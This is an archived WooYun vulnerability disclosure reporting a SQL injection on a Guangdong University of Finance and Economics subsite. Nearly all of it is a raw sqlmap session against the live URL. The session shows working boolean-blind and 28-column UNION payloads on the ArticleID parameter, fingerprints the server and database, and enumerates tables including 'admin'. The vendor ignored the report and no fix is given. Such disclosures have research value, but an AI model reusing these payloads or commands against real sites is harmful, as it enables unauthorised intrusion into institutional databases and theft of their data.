当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099306

漏洞标题:广东财经大学某分站sql注入漏洞

相关厂商:CCERT教育网应急响应组

漏洞作者: 泳少

提交时间:2015-03-04 14:43

修复时间:2015-03-09 14:44

公开时间:2015-03-09 14:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

其实为了wb不管小厂商什么的都好了。都要刷刷刷

详细说明:

root@ys:~# sqlmap -u http://rsc.gdufe.edu.cn/Article_Print.asp?ArticleID=1486
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:57:49
[19:57:49] [INFO] testing connection to the target URL
[19:57:49] [INFO] testing if the target URL is stable. This can take a couple of seconds
[19:57:51] [INFO] target URL is stable
[19:57:51] [INFO] testing if GET parameter 'ArticleID' is dynamic
[19:57:51] [INFO] heuristics detected web page charset 'GB2312'
[19:57:51] [INFO] confirming that GET parameter 'ArticleID' is dynamic
[19:57:51] [INFO] GET parameter 'ArticleID' is dynamic
[19:57:51] [INFO] heuristic (basic) test shows that GET parameter 'ArticleID' might be injectable (possible DBMS: 'Microsoft Access')
[19:57:51] [INFO] testing for SQL injection on GET parameter 'ArticleID'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft AccesY
do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1)? [Y/n] Y
[19:57:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:58:00] [WARNING] reflective value(s) found and filtering out
[19:58:00] [INFO] GET parameter 'ArticleID' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:58:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:58:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:58:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:58:03] [INFO] target URL appears to have 28 columns in query
[19:58:12] [INFO] GET parameter 'ArticleID' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'ArticleID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 45 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=1486 AND 7924=7924
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-2817 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(105)&CHR(112)&CHR(113)&CHR(67)&CHR(118)&CHR(122)&CHR(118)&CHR(80)&CHR(90)&CHR(101)&CHR(83)&CHR(85)&CHR(78)&CHR(113)&CHR(122)&CHR(116)&CHR(103)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:58:14] [INFO] testing Microsoft Access
[19:58:14] [INFO] confirming Microsoft Access
[19:58:14] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:58:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[19:58:14] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/rsc.gdufe.edu.cn'
[*] shutting down at 19:58:14
root@ys:~# sqlmap -u http://rsc.gdufe.edu.cn/Article_Print.asp?ArticleID=1486 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:58:19
[19:58:19] [INFO] resuming back-end DBMS 'microsoft access'
[19:58:19] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=1486 AND 7924=7924
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-2817 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(105)&CHR(112)&CHR(113)&CHR(67)&CHR(118)&CHR(122)&CHR(118)&CHR(80)&CHR(90)&CHR(101)&CHR(83)&CHR(85)&CHR(78)&CHR(113)&CHR(122)&CHR(116)&CHR(103)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:58:19] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:58:19] [WARNING] on Microsoft Access it is not possible to enumerate databases (use only '--tables')
[19:58:19] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/rsc.gdufe.edu.cn'
[*] shutting down at 19:58:19
root@ys:~# sqlmap -u http://rsc.gdufe.edu.cn/Article_Print.asp?ArticleID=1486 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:58:24
[19:58:25] [INFO] resuming back-end DBMS 'microsoft access'
[19:58:25] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=1486 AND 7924=7924
Type: UNION query
Title: Generic UNION query (NULL) - 28 columns
Payload: ArticleID=-2817 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(105)&CHR(112)&CHR(113)&CHR(67)&CHR(118)&CHR(122)&CHR(118)&CHR(80)&CHR(90)&CHR(101)&CHR(83)&CHR(85)&CHR(78)&CHR(113)&CHR(122)&CHR(116)&CHR(103)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[19:58:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:58:25] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[19:58:25] [INFO] heuristics detected web page charset 'GB2312'
[19:58:25] [WARNING] the SQL query provided does not return any output
[19:58:25] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[19:58:25] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[19:58:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:58:25] [INFO] retrieved:
[19:58:26] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[19:58:26] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[19:58:27] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[19:58:27] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[19:58:28] [INFO] starting 10 threads
[19:58:31] [INFO] retrieved: admin
[19:58:47] [INFO] retrieved: article
[19:59:03] [INFO] retrieved: vote
[19:59:18] [INFO] retrieved: photo

Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| admin |
| article |
| photo |
| vote |
+---------+
[20:02:07] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3160 times
[20:02:07] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/rsc.gdufe.edu.cn'
[*] shutting down at 20:02:07
root@ys:~#

漏洞证明:

Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| admin |
| article |
| photo |
| vote |
+---------+

修复方案:

~~

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-09 14:44

厂商回复:

最新状态:

暂无